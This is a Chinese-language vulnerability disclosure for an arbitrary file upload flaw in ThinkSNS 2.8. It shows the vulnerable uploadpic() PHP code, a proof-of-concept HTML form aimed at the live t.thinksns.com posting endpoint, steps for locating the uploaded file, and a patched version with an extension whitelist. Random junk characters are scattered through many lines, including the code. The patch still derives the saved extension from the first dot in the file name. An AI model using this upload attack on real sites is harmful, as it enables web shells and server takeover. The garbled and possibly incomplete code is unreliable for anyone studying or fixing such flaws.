ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
3 f; l% d) C% k: w( ?/ {: D2 b3 G

' u  l) o' w1 n! B( B\api\StatusesApi.class.php

function uploadpic(){
- T  y! i0 P  g0 ~; V      if( $_FILES['pic'] ){
     //执行上传操作
$ ?% h/ v1 W  L/ I7 `1 U     $savePath =  $this->_getSaveTempPath();
+ N. I+ J; @  x9 e     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
) S8 O1 L1 k" I+ \    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
$ \8 Q1 ?) p% {8 U. t& F: m       {
. `8 C' J" \% y* b        $result['boolen']    = 1;
9 b9 U& H6 O" f0 z' V( s+ s1 p        $result['type_data'] = 'temp/'.$filename;
1 S$ J% ]% n# s3 @# y        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
% i( L" `2 W- j$ S- u9 G, ?2 [5 F        $result['boolen']    = 0;
3 a. }2 l3 M$ o5 b! T" s3 A" h, \        $result['message']   = '上传失败';
& u0 o0 r$ h& w* d       }
1 D& h8 d9 ]4 F  S     }else{
         $result['boolen']    = 0;
* x) e: @* t8 _' D" C5 _# B, s9 X% w         $result['message']   = '上传失败';
     }
return $result;
    }
7 y" O! _! U  B1 ^9 q# munloadpic()方法没有对文件类型进行验证
1 F, i- p, Y( G% p2 C( d& Z  m
可以构建表单, 选择任意文件, 提交到
  w3 Z  G: k, y6 O. r' L/index.php?app=w3g&mod=Index&act=doPost
. t7 ~, @) `  v
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
4 Z+ G# G6 J% T4 @% o) B% }1 o) c

在登录thinksns官方微博后,
构建以下表单:
8 A7 _2 R6 N  O3 i
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
9 c5 f# r0 M6 `; l. q<textarea name="content">test</textarea>
file: <input id="file" type="file" name="pic" />
<input type="submit" value="Post" />
</form>
3 F2 q* e# A+ ^去掉缩略图的前缀(small_ )
9 p9 I. [3 T/ _4 i1 d​修复方案：
8 C' V) }1 y  e* a2 n6 s
- z! w! v  ^4 K; l& T
\api\StatusesApi.class.php

+ F' Z& j8 H/ R6 D% {+ U1 ffunction uploadpic(){
: D: x& B* z( v. T7 k: m; ?3 F8 s6 ?     /**
1 V: x7 j* E& g3 d      * 20121018 @yelo
      * 增加上传类型验证
/ k" }) E3 E; y0 ]      */
3 p" ]+ {9 ]! c     $pathinfo = pathinfo($_FILES['pic']['name']);
     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');

     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);

     if( $uploadCondition ){
6 [/ {( _+ z# o8 N     //执行上传操作
, j) i. l' \6 H. D5 l0 i% i     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
# y2 h% |, C- x7 B+ |, ?( E8 h       }
     }else{
         $result['boolen']    = 0;
  n; G2 p, h4 D         $result['message']   = '上传失败';
     }
; ^* Q, L3 S6 y& f; Oreturn $result;
    }
​
2 A! \4 K) x+ O8 t- U* Q, E& }2 l